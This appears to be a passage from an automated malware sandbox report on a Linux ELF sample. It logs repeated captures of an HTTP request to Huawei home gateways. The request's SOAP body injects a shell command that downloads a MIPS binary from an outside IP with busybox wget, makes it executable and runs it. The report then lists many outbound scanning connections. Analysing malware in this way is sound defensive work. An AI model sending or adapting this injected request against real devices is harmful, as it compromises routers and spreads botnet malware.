/t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/s8y4CBbFHW.elf (PID: 5432)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 96.177.106.95
Source: unknown	TCP traffic detected without corresponding DNS query: 173.87.116.193
Source: unknown	TCP traffic detected without corresponding DNS query: 135.237.201.13
Source: unknown	TCP traffic detected without corresponding DNS query: 51.4.201.163
Source: unknown	TCP traffic detected without corresponding DNS query: 125.212.207.230
Source: unknown	TCP traffic detected without corresponding DNS query: 32.204.162.123
Source: unknown	TCP traffic detected without corresponding DNS query: 213.79.9.22
Source: unknown	TCP traffic detected without corresponding DNS query: 107.185.45.46
Source: unknown	TCP traffic detected without corresponding DNS query: 114.149.158.173
Source: unknown	TCP traffic detected without corresponding DNS query: 68.161.203.180
Source: unknown	TCP traffic detected without corresponding DNS query: 132.215.221.250
Source: unknown	TCP traffic detected without corresponding DNS query: 146.77.88.171
Source: unknown	TCP traffic detected without corresponding DNS query: 218.209.158.189
Source: unknown	TCP traffic detected without corresponding DNS query: 18.181.89.22
Source: unknown	TCP traffic detected without corresponding DNS query: 222.55.142.174
Source: unknown	TCP traffic detected without corresponding DNS query: 87.202.96.40
Source: unknown	TCP traffic detected without corresponding DNS query: 186.246.195.187
Source: unknown	TCP traffic detected without corresponding DNS query: 93.190.24.11
Source: unknown	TCP traffic detected without corresponding DNS query: 163.160.54.54
Source: unknown	TCP traffic detected without corresponding DNS query: 172.136.165.150
